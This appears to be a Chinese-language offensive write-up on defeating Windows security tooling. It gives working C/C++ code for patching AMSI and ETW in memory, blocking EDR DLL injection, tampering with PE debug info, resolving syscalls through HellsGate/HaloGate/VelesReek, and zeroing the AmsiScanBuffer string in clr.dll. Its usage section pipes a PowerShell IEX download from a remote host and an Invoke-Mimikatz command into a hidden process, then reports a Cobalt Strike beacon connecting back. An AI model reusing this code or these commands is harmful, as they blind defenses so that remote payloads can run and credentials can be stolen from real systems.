std::cout << "[+] Restored original memory protection." << std::endl;
}
}
// 9. Uninitialize AMSI
if (amsiContext) {
pAmsiUninitialize(amsiContext);
std::cout << "[+] AmsiUninitialize called." << std::endl;
}
// 10. Free the library
if (amsiDll) {
FreeLibrary(amsiDll);
std::cout << "[+] Freed amsi.dll" << std::endl;
}
// 11. Print final result
std::cout << "\n--- Test Result ---" << std::endl;
if (crashedDuringPatchedCall) {
std::cout << "PASS (for observing instability): The patch caused AmsiScanBuffer to CRASH as expected." << std::endl;
return 0;
}
else {
std::cout << "UNEXPECTED: Patched AmsiScanBuffer did not crash." << std::endl;
std::cout << " This indicates an unusual execution path for this incomplete patch." << std::endl;
return 1;
}
}

以上测试都是以patch为主,只是patch指令的指令不同
测试完之后发现现在Microsoft更新了内存扫描签名来检测对安全关键用户级 API的修改
PowerLoad3r
**LOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON**:阻止任何非微软签名的 DLL 注入子进程- 效果:
- 使 EDR 无法通过
CreateRemoteThread+LoadLibrary注入监控模块(如 CrowdStrike 的传感器 DLL) - 规避基于 DLL 注入的行为检测(如 API Hook)
- 使 EDR 无法通过
if (!UpdateProcThreadAttribute(si->lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
&dwPolicy,
sizeof(dwPolicy),
NULL,
NULL))
return FALSE;
- 通过
CREATE_SUSPENDED标志创建挂起的pwsh.exe进程 - 效果:
- 进程创建后处于挂起状态,EDR 无法立即扫描其内存
if (!g_APIs.pCreateProcessA(NULL,
PWSH,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL,
"C:\\Windows\\System32",
(LPSTARTUPINFOA) si,
pi))
return FALSE;
- 建立 父进程与子进程(PowerShell)之间的隐蔽通信通道
- 效果:
- 匿名管道实现无参数指令传递,规避传统检测手段。
BOOL InitAnonymousPipes(STARTUPINFOEXA *si)
{
SECURITY_ATTRIBUTES sa = { 0 };
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0))
return FALSE;
if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
return FALSE;
if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0))
return FALSE;
if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
return FALSE;
si->StartupInfo.hStdError = g_hChildStd_OUT_Wr;
si->StartupInfo.hStdOutput = g_hChildStd_OUT_Wr;
si->StartupInfo.hStdInput = g_hChildStd_IN_Rd;
si->StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
return TRUE;
}
- 篡改目标进程(如PowerShell)的 PE调试信息
- 效果
- 破坏EDR对进程合法性的验证机制,实现进程伪装
DOS头验证
if (!(pDos = (PIMAGE_DOS_HEADER)ReadProcessMemory2(hProc,
lpImgBaseAddr,
sizeof(IMAGE_DOS_HEADER))))
return FALSE;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) //MZ
return FALSE;
NT头验证
if (!(pNt = (PIMAGE_NT_HEADERS)ReadProcessMemory2(hProc,
(PVOID)((DWORD_PTR)lpImgBaseAddr + pDos->e_lfanew),
sizeof(IMAGE_NT_HEADERS))))
return FALSE;
if (pNt->Signature != IMAGE_NT_SIGNATURE) //PE
return FALSE;
获取调试目录入口与读取
pDbgDataDir = &pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!(pDbg = (PIMAGE_DEBUG_DIRECTORY)ReadProcessMemory2(hProc, (PVOID)((DWORD_PTR)lpImgBaseAddr + pDbgDataDir->VirtualAddress), pDbgDataDir->Size)))
return FALSE;
if (pDbg->Type != IMAGE_DEBUG_TYPE_CODEVIEW)// 只处理CodeView类型
return FALSE;
注:CodeView调试信息,包含PDB路径等关键信息,是EDR验证进程合法性的重要依据。
定位PDB结构
pDbgRawDataAddr = (PVOID)((DWORD_PTR)lpImgBaseAddr + pDbg->AddressOfRawData);
if (!(pPDB = (PPdbInfo)ReadProcessMemory2(hProc, pDbgRawDataAddr, sizeof(PdbInfo))))
return FALSE;
if (pPDB->dwSignature != IMAGE_DEBUG_SIGNATURE)// 验证"RSDS"签名
return FALSE;
PDB结构:
typedef struct _PdbInfo {
DWORD dwSignature; // "RSDS"
GUID guidSig; // 唯一标识
DWORD dwAge; // 版本号
CHAR cPdbFileName[1]; // PDB路径(可变长)
} PdbInfo;
Patch
return (
Patch(hProc, (PVOID)((DWORD_PTR)pDbgRawDataAddr + sizeof(PdbInfo) - sizeof(pPDB->cPdbFileName)), "\x50\x6f\x77\x72\x4c\x6f\x61\x64\x65\x72", 10) &&
Patch(hProc, (PVOID)((DWORD_PTR)pDbgRawDataAddr + 0x52), "\x50\x6f\x77\x72\x4c\x6f\x61\x64\x65\x72", 10)
);
\x50\x6f\x77\x72\x4c\x6f\x61\x64\x65\x72 对应ASCII字符串 "PowrLoader"
Patch ETW
- 通过内存补丁 禁用目标进程中的ETW事件日志功能
- 结果
- 使系统和安全产品无法记录该进程的行为
修改 ntdll!EtwEventWrite 函数的机器码,强制其返回0(表示不记录事件)
BOOL BlindETW(HANDLE hProc, HMODULE hModule)
{
PVOID pEEW;
if (!(pEEW = GetProcAddress2(hModule, g_cEEW)))
return FALSE;
/*
xor rax,rax ; Clear accumlator register via XORing by itself, this means the procedure will return 0 without log anything
ret ; return (the end of the procedure)
*/
return Patch(hProc, pEEW, "\x48\x33\xc0\xc3", 4);
}
Patch AMSI.dll
BOOL BypassAMSI(HANDLE hProc, HMODULE hModule)
{
PVOID pASB;
if (!(pASB = GetProcAddress2(hModule, g_cASB)))
return FALSE;
/*
; move 80070057h to eax which means error occured,
; this redirects scanner execution flow and makes amsi fails
mov eax, 80070057h ; Error handler
ret ; return
*/
return Patch(hProc, pASB, "\xb8\x57\x00\x07\x80\xc3", 6);
}
使用的技术就是上面的Instruction Overwriting 技术
**HellsGate \HaloGate \VelesReek **
通过三级递进策略,在 绕过EDR用户态Hook 的前提下,动态获取目标系统调用号(SSN)

HellsGate:
- 直接读取
ntdll.dll原始导出表,避开Hook后的函数地址
for (WORD wIdx = 0; wIdx < pNtDLLImg->pExpDir->NumberOfNames; wIdx++)
{
cFuncName = (PCHAR)GETMODULEBASE(pNtDLLImg) + pNtDLLImg->pdwAddrOfNames[wIdx];
pFuncAddr = (PBYTE)GETMODULEBASE(pNtDLLImg) + pNtDLLImg->pdwAddrOfFunctions[pNtDLLImg->pwAddrOfNameOrdinales[wIdx]];
if (djb2(cFuncName) != DeObfuscateHash(pEntry->dwHash))
continue;
if ((pEntry->wSyscall = HellsGateGrabber((PVOID)pFuncAddr)) != INVALID_SSN)
return;
break;
}
HaloGate :
- 指令模式识别:在内存中搜索
mov eax, SSN或syscall指令序列 - 偏移量推算:根据相邻系统调用的固定偏移(如Win10下通常相差0x20字节)推测目标SSN
for (WORD idx = 1; idx < SYSCALLSCOUNT; idx++)
{
/* Go Down */
if ((pEntry->wSyscall = HaloGateDown((PVOID)pFuncAddr, idx)) != INVALID_SSN)
return;
/* Go Up */
if ((pEntry->wSyscall = HaloGateUp((PVOID)pFuncAddr, idx)) != INVALID_SSN)
return;
}
VelesReek :
- SSN = (目标函数地址 - .text段基址) / 平均函数大小 + 基础SSN
- 当所有系统调用都被Hook时(如EDR全量监控)
pEntry->wSyscall = VelesReek(
pNtDLLImg->pTextSection->SizeOfRawData,
(PVOID)((DWORD_PTR)GETMODULEBASE(pNtDLLImg) + pNtDLLImg->pTextSection->PointerToRawData),
pFuncAddr
);
该项目时间较长一些绕过技术已经被修复,
使用:
将写入管道的指令修改为所需命令即可:
PRINT_SUCCESS("AMSI patched successfully");
WriteToPipe("IEX ((new-object net.webclient).downloadstring('hxxp://IP'))\n", 172);
WriteToPipe("Invoke-Mimikatz -Command coffee\n", 32);
WriteToPipe("exit\n", 5); // Don't remove this instruction, it terminates the process
这里我使用的是Cobalt Strike进行测试
注:在使用VS编译时需要将优化关闭,不然优化之后的可执行文件中一些汇编指令会出错,运行不能得到结果

这个就是没有禁用优化运行之后的结果

这个就是正常运行结果

可以看到Cobalt Strike正常上线
Patch CLR.dll
在 Common Language Runtime (CLR.DLL) 库中,有一个本地方法用于处理反射加载的二进制文件(即从内存中加载的二进制文件,而不是从磁盘文件)。在将 PE 文件映射到内存之前,这个方法首先会通过 AMSI 将原始二进制文件传递给已安装的防病毒软件。而不是直接引用 AmsiScanBuffer 方法,这个本地方法使用 GetProcAddress 来获取该函数的引用。这意味着字符串字面量 “AmsiScanBuffer” 被存储在 CLR.DLL 的 .rdata 段中。为了绕过这一过程,攻击者修改了这个字符串,使得方法无法被找到,从而 CLR 无法与 AMSI API 进行交互。
这个反射加载器采取了一种“故障开放”的策略,因此如果 AMSI 检查失败,加载器仍会正常继续执行。
- 使用 VirtualQuery 循环遍历每个内存区域
- 查找映射到 CLR.DLL 的内存区域
- 查找字符串“AmsiScanBuffer”的位置
- 向内存区域添加写入权限
- 用0覆盖目标字符串
- 恢复内存位置
使用Kernel32.dll 的 VirtualQuery 方法来获取有关区域的信息,包括权限、基地址和区域大小;
扫描进程内存区域,遍历每个内存区域,并且只查找可读区域
bool IsReadable(DWORD protect, DWORD state) {
if (!((protect & PAGE_READONLY) == PAGE_READONLY || (protect & PAGE_READWRITE) == PAGE_READWRITE || (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE || (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ)) {
return false;
}
if ((protect & PAGE_GUARD) == PAGE_GUARD) {
return false;
}
if ((state & MEM_COMMIT) != MEM_COMMIT) {
return false;
}
return true;
}
// 检查内存是否具有以下任一保护属性:
// PAGE_READONLY:只读
// PAGE_READWRITE:可读写
// PAGE_EXECUTE_READWRITE:可执行、可读、可写
// PAGE_EXECUTE_READ:可执行且可读
// 如果都不满足,则判定为不可读
HANDLE hProcess = GetCurrentProcess();
//Load system info to identify allocated memory regions
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
//Generate a list of memory regions to scan
ArrayList<MEMORY_BASIC_INFORMATION> list;
unsigned char* pAddress = 0;// (unsigned char*)sysInfo.lpMinimumApplicationAddress;
MEMORY_BASIC_INFORMATION memInfo;
while (pAddress < sysInfo.lpMaximumApplicationAddress) {
//Query memory region information
if (VirtualQuery(pAddress, &memInfo, sizeof(memInfo))) {
list.Add(memInfo);
}
//Move to the next memory region
pAddress += memInfo.RegionSize;
}
//Find and replace all references to AmsiScanBuffer in READWRITE memory
int count = 0;
for (int i = 0; i < list.GetLength(); i++) {
MEMORY_BASIC_INFORMATION& region = list.At(i);
//Can't work with the region if it's not even readable
if (!IsReadable(region.Protect, region.State)) {
continue;
}
//<removed for brevity>
}
//Find and replace all references to AmsiScanBuffer in READWRITE memory
int count = 0;
for (int i = 0; i < list.GetLength(); i++) {
MEMORY_BASIC_INFORMATION& region = list.At(i);
//Can't work with the region if it's not even readable
if (!IsReadable(region.Protect, region.State)) {
continue;
}
//<removed for brevity>
}
SYSTEM_INFO结构体包含系统内存架构信息GetSystemInfo()填充该结构体,会设置:lpMinimumApplicationAddress:应用程序可访问的最小内存地址lpMaximumApplicationAddress:应用程序可访问的最大内存地址dwAllocationGranularity:内存分配粒度(通常64KB)
自定义的 ArrayList 容器类似于std::vector
VirtualQuery函数
BOOL VirtualQuery(
LPCVOID lpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
SIZE_T dwLength
);
- 查询指定地址的内存区域信息
- 填充
MEMORY_BASIC_INFORMATION结构体,包含:BaseAddress:区域基地址AllocationBase:分配基地址RegionSize:区域大小(字节)Protect:保护属性(如可读/可写)State:状态(提交/保留/空闲)Type:页面类型
扫描过程:
- 从
pAddress开始查询内存信息 - 成功则保存到列表
- 指针前进当前区域的
RegionSize字节 - 直到超过最大应用地址范围
示例:
0x00000000 ┌───────────────────────┐
│ Reserved │
0x00400000 ├───────────────────────┤ ← lpMinimumApplicationAddress
│ Code Segment │
├───────────────────────┤
│ Data Segment │
├───────────────────────┤
│ Heap Space │
├───────────────────────┤
│ Stack Space │
├───────────────────────┤
0x7FFFFFFF └───────────────────────┘ ← lpMaximumApplicationAddress (32位)
检查内存区域是否映射到clr.dll 中
char path[MAX_PATH];
if (GetMappedFileNameA(hProcess, region.BaseAddress, path, MAX_PATH) > 0) {
//Check to make sure this region maps to clr.dll
if (CheckStr(path, strlen(path))) {
//<removed for brevity>
}
}
**GetMappedFileNameA**:Windows API,获取指定内存区域映射的文件路径。- 参数:
hProcess:目标进程句柄(此处为当前进程)。region.BaseAddress:内存区域的起始地址。path:输出缓冲区,存储文件路径。MAX_PATH:路径最大长度(260字符)。
- 返回值:
>0:成功,返回路径字符串长度。0:失败,调用GetLastError()获取原因。
- 参数:
扫描内存中的每字节,寻找AmsiScanBuffer
for (int j = 0; j < region.RegionSize - sizeof(unsigned char*); j++) {
unsigned char* current = ((unsigned char*)region.BaseAddress) + j;
//See if the current pointer points to the string "AmsiScanBuffer." In SpecterInsight
//the Parameters->AMSISCANBUFFER is a value that is decoded at runtime in order to
//avoid static analysis
bool found = true;
for (int k = 0; k < sizeof(Parameters->AMSISCANBUFFER); k++) {
if (current[k] != Parameters->AMSISCANBUFFER[k]) {
found = false;
break;
}
}
if (found) {
//<removed for brevity>
}
}
内存区域添加写入权限,默认情况下,内存中的.data段是只读的,覆盖AmsiScanBuffer会引发异常,需要你使用VirtualProtect修改为可读写执行,
DWORD original = 0;
if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {
VirtualProtect(region.BaseAddress, region.RegionSize, PAGE_EXECUTE_READWRITE, &original);
}
for (int m = 0; m < sizeof(Parameters->AMSISCANBUFFER); m++) {
current[m] = 0;
}
if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {
VirtualProtect(region.BaseAddress, region.RegionSize, region.Protect, &original);
}
以下为我完善的code,但是patch失败不知道是否为POC编写问题
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
// --- ArrayList<MEMORY_BASIC_INFORMATION> Implementation ---
typedef struct {
MEMORY_BASIC_INFORMATION* items;
size_t count;
size_t capacity;
} ArrayList_MEMORY_BASIC_INFORMATION;
void ArrayList_Init(ArrayList_MEMORY_BASIC_INFORMATION* list, size_t initialCapacity) {
list->items = (MEMORY_BASIC_INFORMATION*)malloc(initialCapacity * sizeof(MEMORY_BASIC_INFORMATION));
if (list->items == NULL) { fprintf(stderr, "Failed to allocate ArrayList_MEMORY_BASIC_INFORMATION\n"); exit(1); }
list->count = 0;
list->capacity = initialCapacity;
}
void ArrayList_Add(ArrayList_MEMORY_BASIC_INFORMATION* list, MEMORY_BASIC_INFORMATION item) {
if (list->count == list->capacity) {
list->capacity = (list->capacity == 0) ? 1 : list->capacity * 2; // Handle initial 0 capacity
MEMORY_BASIC_INFORMATION* temp = (MEMORY_BASIC_INFORMATION*)realloc(list->items, list->capacity * sizeof(MEMORY_BASIC_INFORMATION));
if (temp == NULL) { fprintf(stderr, "Failed to reallocate ArrayList_MEMORY_BASIC_INFORMATION\n"); free(list->items); exit(1); }
list->items = temp;
}
list->items[list->count++] = item;
}
MEMORY_BASIC_INFORMATION ArrayList_At(ArrayList_MEMORY_BASIC_INFORMATION* list, size_t index) {
if (index < list->count) return list->items[index];
MEMORY_BASIC_INFORMATION empty = { 0 }; return empty; // Should check for this
}
size_t ArrayList_GetLength(ArrayList_MEMORY_BASIC_INFORMATION* list) { return list->count; }
void ArrayList_Free(ArrayList_MEMORY_BASIC_INFORMATION* list) { free(list->items); list->items = NULL; list->count = 0; list->capacity = 0; }
// --- End ArrayList ---
// --- Signature Definition (mimicking PowerShell's $a, $b, $c, $d) ---
const unsigned char SIG_A[] = { 'A', 'm', 's' };
const unsigned char SIG_B[] = { 'i', 'S', 'c' };
const unsigned char SIG_C[] = { 'a', 'n', 'B', 'u', 'f' };
const unsigned char SIG_D[] = { 'f', 'e', 'r' };
unsigned char TARGET_SIGNATURE[sizeof(SIG_A) + sizeof(SIG_B) + sizeof(SIG_C) + sizeof(SIG_D)];
size_t TARGET_SIGNATURE_LEN = 0;
void InitializeTargetSignature() {
memcpy(TARGET_SIGNATURE, SIG_A, sizeof(SIG_A));
TARGET_SIGNATURE_LEN += sizeof(SIG_A);
memcpy(TARGET_SIGNATURE + TARGET_SIGNATURE_LEN, SIG_B, sizeof(SIG_B));
TARGET_SIGNATURE_LEN += sizeof(SIG_B);
memcpy(TARGET_SIGNATURE + TARGET_SIGNATURE_LEN, SIG_C, sizeof(SIG_C));
TARGET_SIGNATURE_LEN += sizeof(SIG_C);
memcpy(TARGET_SIGNATURE + TARGET_SIGNATURE_LEN, SIG_D, sizeof(SIG_D));
TARGET_SIGNATURE_LEN += sizeof(SIG_D);
}
// --- End Signature Definition ---
// --- Helper Functions (IsReadable, CheckStr from your snippet) ---
bool IsReadable(DWORD protect, DWORD state) {
if (!((protect & PAGE_READONLY) ||
(protect & PAGE_READWRITE) ||
(protect & PAGE_EXECUTE_READWRITE) ||
(protect & PAGE_EXECUTE_READ))) {
return false;
}
if ((protect & PAGE_GUARD) == PAGE_GUARD) {
return false;
}
if ((state & MEM_COMMIT) != MEM_COMMIT) {
return false;
}
return true;
}
bool CheckStr(const char* str, size_t length) {
if (str == NULL || length < 7) {
return false;
}
if ((str[length - 1] == 'l' || str[length - 1] == 'L') &&
(str[length - 2] == 'l' || str[length - 2] == 'L') &&
(str[length - 3] == 'd' || str[length - 3] == 'D') &&
(str[length - 4] == '.') &&
(str[length - 5] == 'r' || str[length - 5] == 'R') &&
(str[length - 6] == 'l' || str[length - 6] == 'L') &&
(str[length - 7] == 'c' || str[length - 7] == 'C')) {
if (length == 7 || str[length - 8] == '\\' || str[length - 8] == '/') {
return true;
}
}
return false;
}
// --- End Helper Functions ---
HRESULT AmsiBypassStringReplace() {
InitializeTargetSignature();
HANDLE hProcess = GetCurrentProcess();
if (hProcess == NULL) return E_HANDLE;
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
ArrayList_MEMORY_BASIC_INFORMATION list;
ArrayList_Init(&list, 128);
unsigned char* pAddress = (unsigned char*)sysInfo.lpMinimumApplicationAddress;
MEMORY_BASIC_INFORMATION memInfo;
while (pAddress != NULL && pAddress < (unsigned char*)sysInfo.lpMaximumApplicationAddress) {
ZeroMemory(&memInfo, sizeof(memInfo));
if (VirtualQuery((LPCVOID)pAddress, &memInfo, sizeof(memInfo)) == sizeof(memInfo)) {
ArrayList_Add(&list, memInfo);
ULONGLONG nextAddr = (ULONGLONG)memInfo.BaseAddress + memInfo.RegionSize;
if (nextAddr <= (ULONGLONG)pAddress || memInfo.RegionSize == 0) {
if ((ULONGLONG)pAddress >= (ULONGLONG)sysInfo.lpMaximumApplicationAddress - sysInfo.dwPageSize) break;
pAddress = (unsigned char*)((ULONGLONG)pAddress + sysInfo.dwPageSize);
}
else if (nextAddr >= (ULONGLONG)sysInfo.lpMaximumApplicationAddress) {
pAddress = (unsigned char*)sysInfo.lpMaximumApplicationAddress;
}
else {
pAddress = (unsigned char*)nextAddr;
}
}
else {
if ((ULONGLONG)pAddress >= (ULONGLONG)sysInfo.lpMaximumApplicationAddress - sysInfo.dwPageSize) {
break;
}
pAddress = (unsigned char*)((ULONGLONG)pAddress + sysInfo.dwPageSize);
}
}
int count = 0;
for (size_t i = 0; i < ArrayList_GetLength(&list); i++) {
MEMORY_BASIC_INFORMATION region = ArrayList_At(&list, i);
if (!IsReadable(region.Protect, region.State)) {
continue;
}
char path[MAX_PATH];
if (GetMappedFileNameA(hProcess, region.BaseAddress, path, MAX_PATH) > 0) {
if (CheckStr(path, strlen(path))) { // Check for "clr.dll"
if (region.RegionSize == 0 || region.RegionSize > (50 * 1024 * 1024)) { // Skip huge regions
continue;
}
unsigned char* regionBuffer = (unsigned char*)malloc(region.RegionSize);
if (regionBuffer == NULL) {
continue;
}
SIZE_T bytesReadFromRegion = 0;
if (ReadProcessMemory(hProcess, region.BaseAddress, regionBuffer, region.RegionSize, &bytesReadFromRegion)) {
if (bytesReadFromRegion >= TARGET_SIGNATURE_LEN) {
for (size_t k = 0; k <= (bytesReadFromRegion - TARGET_SIGNATURE_LEN); k++) {
bool found = true;
for (size_t m = 0; m < TARGET_SIGNATURE_LEN; m++) {
if (regionBuffer[k + m] != TARGET_SIGNATURE[m]) {
found = false;
break;
}
}
if (found) {
unsigned char* patchAddressInProcess = (unsigned char*)region.BaseAddress + k;
DWORD originalRegionProtection = region.Protect;
DWORD oldProtectForVP = 0;
bool protectionChangedByUs = false;
if (!((originalRegionProtection & PAGE_READWRITE) || (originalRegionProtection & PAGE_EXECUTE_READWRITE))) {
if (VirtualProtect(region.BaseAddress, region.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtectForVP)) {
protectionChangedByUs = true;
}
else {
free(regionBuffer);
continue;
}
}
unsigned char* zeroReplacement = (unsigned char*)calloc(TARGET_SIGNATURE_LEN, sizeof(unsigned char));
if (zeroReplacement == NULL) {
if (protectionChangedByUs) {
DWORD temp; VirtualProtect(region.BaseAddress, region.RegionSize, oldProtectForVP, &temp);
}
free(regionBuffer);
continue;
}
SIZE_T bytesWrittenToProcess = 0;
if (WriteProcessMemory(hProcess, patchAddressInProcess, zeroReplacement, TARGET_SIGNATURE_LEN, &bytesWrittenToProcess)) {
if (bytesWrittenToProcess == TARGET_SIGNATURE_LEN) {
count++;
}
}
else {
}
free(zeroReplacement);
if (protectionChangedByUs) {
DWORD temp;
VirtualProtect(region.BaseAddress, region.RegionSize, oldProtectForVP, &temp);
}
}
}
}
}
free(regionBuffer);
}
}
}
ArrayList_Free(&list);
if (count > 0) {
return S_OK;
}
else {
return HRESULT_FROM_WIN32(ERROR_NOT_FOUND);
}
}
// --- Dummy main for testing ---
int main() {
printf("Attempting AmsiBypassStringReplace \n");
HRESULT result = AmsiBypassStringReplace();
if (result == S_OK) {
printf("AmsiBypassStringReplace reported SUCCESS (S_OK - signature likely patched).\n");
}
else if (result == HRESULT_FROM_WIN32(ERROR_NOT_FOUND)) {
printf("AmsiBypassStringReplace reported NOT_FOUND (Target signature not found in clr.dll).\n");
}
else {
printf("AmsiBypassStringReplace reported FAILURE. HRESULT: 0x%08lX\n", result);
}
return 0;
}

AmsiBypassStringReplace 报告 NOT_FOUND(在 clr.dll 中未找到目标签名)。